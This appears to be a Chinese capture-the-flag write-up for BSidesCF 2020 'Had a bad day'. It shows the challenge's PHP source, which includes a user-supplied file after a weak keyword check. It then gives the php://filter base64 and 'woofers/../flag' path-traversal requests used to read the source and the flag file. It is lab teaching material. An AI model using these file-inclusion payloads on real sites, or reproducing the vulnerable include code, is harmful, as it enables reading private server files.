[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
dadaobusi2 小时前
学习:奈奎斯特
学习
传奇开心果编程4 小时前
【Go入门练中学】第2课:条件与循环
后端·学习·golang
小小de风呀5 小时前
de风——【从零开始学C++】(二十)红黑树封装map和set
c++·学习
爱吃苹果的日记本5 小时前
数据结构第四课—线性表Linear List
数据结构·学习
昌原的儿子LEO5 小时前
ARM 汇编核心知识点总结
嵌入式硬件·学习
Ray Wang5 小时前
Context上下文工程
python·学习·ai编程
百里香酚兰5 小时前
【Unity学习笔记】如何把粉色Prefab还原
笔记·学习·unity
索端阳5 小时前
ARM Day02 学习总结:ARM汇编基础核心知识点梳理
汇编·学习·arm
小叶肥辉6 小时前
LangChain链和LangGraph图的学习笔记【六】——提示语模板(3)——Few-Shot Prompting(少样本提示) 模板类
笔记·python·学习·langchain·prompt·aigc
for_ever_love__6 小时前
爬虫项目: 获取高分电影的数据总结
开发语言·python·学习